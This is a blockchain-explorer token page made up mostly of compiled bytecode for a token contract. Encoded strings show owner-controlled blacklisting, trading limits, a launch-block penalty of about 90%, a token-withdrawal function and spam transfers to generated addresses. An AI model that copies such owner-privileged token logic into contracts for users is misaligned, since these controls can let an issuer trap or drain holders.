61281b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561130b81612bb1565b90506112a6565b6000546001600160a01b0316331461133c5760405162461bcd60e51b8152600401610bcf90612b18565b601b54156113765760405162461bcd60e51b815260206004820152600760248201526674726164696e6760c81b6044820152606401610bcf565b43601b55565b6000546001600160a01b031633146113a65760405162461bcd60e51b8152600401610bcf90612b18565b601955565b6003546001600160a01b03163314806113ce57506000546001600160a01b031633145b6113ea5760405162461bcd60e51b8152600401610bcf90612af7565b600380546001600160a01b039092166001600160a01b0319909216821790556000908152600d60205260409020805460ff19166001179055565b6000546001600160a01b0316331461144e5760405162461bcd60e51b8152600401610bcf90612b18565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b606060068054610c4290612b38565b6003546001600160a01b03163314806114ab57506000546001600160a01b031633145b6114c75760405162461bcd60e51b8152600401610bcf90612af7565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b6000610cd23384846118c9565b6000546001600160a01b031633146115295760405162461bcd60e51b8152600401610bcf90612b18565b6000601d55565b6000546001600160a01b0316331461155a5760405162461bcd60e51b8152600401610bcf90612b18565b601a55565b6003546001600160a01b031633148061158257506000546001600160a01b031633145b61159e5760405162461bcd60e51b8152600401610bcf90612af7565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303816000875af11580156115ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f829190612bfe565b6003546001600160a01b031633148061163457506000546001600160a01b031633145b6116505760405162461bcd60e51b8152600401610bcf90612af7565b602255565b6000546001600160a01b0316331461167f5760405162461bcd60e51b8152600401610bcf90612b18565b601755565b6000546001600160a01b031633146116ae5760405162461bcd60e51b8152600401610bcf90612b18565b601d54156116ed5760405162461bcd60e51b815260206004820152600c60248201526b0737461727465644164644c560a41b6044820152606401610bcf565b43601d55565b6000546001600160a01b0316331461171d5760405162461bcd60e51b8152600401610bcf90612b18565b600c80549115156101000261ff0019909216919091179055565b6003546001600160a01b031633148061175a57506000546001600160a01b031633145b6117765760405162461bcd60e51b8152600401610bcf90612af7565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146117cb5760405162461bcd60e51b8152600401610bcf90612b18565b6001600160a01b03811661180c5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610bcf565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166000908152600e602052604090205460ff161561191e5760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610bcf565b6001600160a01b0383166000908152600160205260409020548181101561197a5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610bcf565b6001600160a01b0384166000908152600d6020526040812054819060ff161580156119be57506001600160a01b0385166000908152600d602052604090205460ff16155b15611a37576000805b60028113611a255760408051602081018390529081018790524260608201526080016040516020818303038152906040528051906020012060001c9150611a128883620f4240611c85565b5080611a1d81612c1b565b9150506119c7565b50611a33622dc6c086612b88565b9450505b6001600160a01b03861660009081526014602052604090205460ff1680611a7657506001600160a01b03851660009081526014602052604090205460ff165b15611c4d576001600160a01b0386166000908152600d602052604090205460ff16158015611abd57506001600160a01b0385166000908152600d602052604090205460ff16155b15611c2857600c54610100900460ff1615611b6757601b54600003611b3d57601d546000108015611b0657506001600160a01b03851660009081526014602052604090205460ff165b611b3d5760405162461bcd60e51b8152602060048201526008602482015267021676f4164644c560c41b6044820152606401610bcf565b600854601b54611b4d9190612c33565b431015611b6757611b5f868686611d3a565b505050505050565b6001600160a01b03851660009081526014602052604090205460ff1615611c235760155460ff16611c2357306000908152600160205260409020548015611c21576000601a54601854601954601754601654611bc39190612c33565b611bcd9190612c33565b611bd79190612c33565b611be19190612c33565b90506000612710611bf28389612be7565b611bfd906002612be7565b611c079190612c46565b905082811115611c145750815b611c1e8183611dc0565b50505b505b600191505b6001600160a01b03851660009081526014602052604090205460ff1615611c4d575060015b611c5a86868685856121c7565b6001600160a01b0386163014611b5f578015611c7957611c79866123d4565b611b5f620f42406124a5565b6001600160a01b038316600090815260016020526040812080548391908390611caf908490612b88565b90915550506001600160a01b03831660009081526001602052604081208054849290611cdc908490612c33565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2891815260200190565b60405180910390a35060019392505050565b6001600160a01b038316600090815260016020526040902054611d5e908290612b88565b6001600160a01b0384166000908152600160205260408120919091556064611d8783605a612be7565b611d919190612c46565b600354909150611dac9085906001600160a01b03168361278e565b610f828484611dbb8486612b88565b61278e565b6015805460ff19166001179055611dd78180612c33565b601a54909150600082611dea8386612be7565b611df49190612c46565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611e2e57611e2e612b9b565b6001600160a01b039283166020918202929092010152601354825191169082906001908110611e5f57611e5f612b9b565b6001600160a01b0392831660209182029290920101526011541663ac3893ba611e888488612b88565b60155460035460405160e085901b6001600160e01b0319168152611ecb939260009288926101009092046001600160a01b03908116929116904290600401612c68565b600060405180830381600087803b158015611ee557600080fd5b505af1158015611ef9573d6000803e3d6000fd5b505050508284611f099190612b88565b6013546015546040516370a0823160e01b81526001600160a01b0361010090920482166004820152929650169060009082906370a0823190602401602060405180830381865afa158015611f61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f859190612ce1565b9050600086601954601654611f9a9190612c33565b611fa49084612be7565b611faf906002612be7565b611fb99190612c46565b6015546003546040516323b872dd60e01b81526001600160a01b03610100909304831660048201529082166024820152604481018390529192508416906323b872dd906064016020604051808303816000875af115801561201e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120429190612bfe565b506015546001600160a01b03808516916323b872dd91610100909104163061206a8587612b88565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156120be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120e29190612bfe565b5084156121b3576000876120f68885612be7565b6121009190612c46565b905080156121b15760115460135460035460405162e8e33760e81b81523060048201526001600160a01b039283166024820152604481018a90526064810185905260006084820181905260a482015290821660c48201524260e482015291169063e8e3370090610104016060604051808303816000875af1158015612189573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121ad9190612cfa565b5050505b505b50506015805460ff19169055505050505050565b6001600160a01b0385166000908152600160205260409020546121eb908490612b88565b6001600160a01b0386166000908152600160205260408120919091558215612317576000821561228257601a546018546019546122289190612c33565b6122329190612c33565b905060095485111561227d5760405162461bcd60e51b81526020600482015260146024820152731bdd995c881b585e081cd95b1b08185b5bdd5b9d60621b6044820152606401610bcf565b6122dc565b6017546016546122929190612c33565b9050600a548511156122dc5760405162461bcd60e51b81526020600482015260136024820152721bdd995c881b585e08189d5e48185b5bdd5b9d606a1b6044820152606401610bcf565b60006127106122eb8388612be7565b6122f59190612c46565b90508015612314576123078184612c33565b925061231488308361278e565b50505b6001600160a01b0385166000908152600f602052604090205460ff161580156123425750600c5460ff165b156123c557600b54818561236b886001600160a01b031660009081526001602052604090205490565b6123759190612c33565b61237f9190612b88565b11156123c55760405162461bcd60e51b81526020600482015260156024820152741bdd995c881b585e081dd85b1b195d081b1a5b5a5d605a1b6044820152606401610bcf565b611b5f8686611dbb8488612b88565b803b80156123e0575050565b6001600160a01b0382166000908152601f602052604081205490036124a157601e54158061243f5750816001600160a01b0316601e60008154811061242757612427612b9b565b6000918252602090912001546001600160a01b031614155b156124a157601e80546001600160a01b0384166000818152601f60205260408120839055600183018455929092527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b03191690911790555b5050565b4360235460146124b59190612c33565b11156124be5750565b6013546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa15801561250b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061252f9190612ce1565b905060225481101561254057505050565b601c54604080516318160ddd60e01b815290516001600160a01b039092169160009183916318160ddd916004808201926020929091908290030181865afa15801561258f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125b39190612ce1565b601e54909150600090819081908180805a90505b8b831080156125d557508382105b1561277c5783602154106125e95760006021555b601e602154815481106125fe576125fe612b9b565b6000918252602090912001546040516370a0823160e01b81526001600160a01b03918216600482018190529850908a16906370a0823190602401602060405180830381865afa158015612655573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126799190612ce1565b95506000861180156126a357506001600160a01b038716600090815260208052604090205460ff16155b1561273a57876126b3878c612be7565b6126bd9190612c46565b9450841561273a5760405163a9059cbb60e01b81526001600160a01b038881166004830152602482018790528c169063a9059cbb906044016020604051808303816000875af1158015612714573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127389190612bfe565b505b5a6127459082612b88565b61274f9084612c33565b92505a60218054919250600061276483612bb1565b9190505550818061277490612bb1565b9250506125c7565b50504360235550505050505050505050565b6001600160a01b0382166000908152600160205260409020546127b2908290612c33565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118bc9085815260200190565b6001600160a01b0381168114610e4757600080fd5b60006020828403121561282d57600080fd5b813561283881612806565b9392505050565b8015158114610e4757600080fd5b6000806040838503121561286057600080fd5b823561286b81612806565b9150602083013561287b8161283f565b809150509250929050565b600060208083528351808285015260005b818110156128b357858101830151858201604001528201612897565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156128e757600080fd5b82356128f281612806565b946020939093013593505050565b60006020828403121561291257600080fd5b5035919050565b60008060006060848603121561292e57600080fd5b833561293981612806565b9250602084013561294981612806565b929592945050506040919091013590565b60006020828403121561296c57600080fd5b81356128388161283f565b60008083601f84011261298957600080fd5b50813567ffffffffffffffff8111156129a157600080fd5b6020830191508360208260051b85010111156129bc57600080fd5b9250929050565b6000806000604084860312156129d857600080fd5b833567ffffffffffffffff8111156129ef57600080fd5b6129fb86828701612977565b9094509250506020840135612a0f8161283f565b809150509250925092565b600080600060608486031215612a2f57600080fd5b505081359360208301359350604090920135919050565b600080600060408486031215612a5b57600080fd5b833567ffffffffffffffff811115612a7257600080fd5b612a7e86828701612977565b909790965060209590950135949350505050565b600080600060608486031215612aa757600080fd5b8335612ab281612806565b9250602084013591506040840135612a0f81612806565b60008060408385031215612adc57600080fd5b8235612ae781612806565b9150602083013561287b81612806565b60208082526007908201526610a33ab73232b960c91b604082015260600190565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b600181811c90821680612b4c57607f821691505b602082108103612b6c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cd657610cd6612b72565b634e487b7160e01b600052603260045260246000fd5b600060018201612bc357612bc3612b72565b5060010190565b600060208284031215612bdc57600080fd5b815161283881612806565b8082028115828204841417610cd657610cd6612b72565b600060208284031215612c1057600080fd5b81516128388161283f565b60006001600160ff1b018201612bc357612bc3612b72565b80820180821115610cd657610cd6612b72565b600082612c6357634e487b7160e01b600052601260045260246000fd5b500490565b600060c082018883526020888185015260c0604085015281885180845260e086019150828a01935060005b81811015612cb85784516001600160a01b031683529383019391830191600101612c93565b50506001600160a01b039788166060860152959096166080840152505060a00152949350505050565b600060208284031215612cf357600080fd5b5051919050565b600080600060608486031215612d0f57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220a617382658cb527d11fdab330d042c496155e2336c25121c4c145516522e420d64736f6c63430008130033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)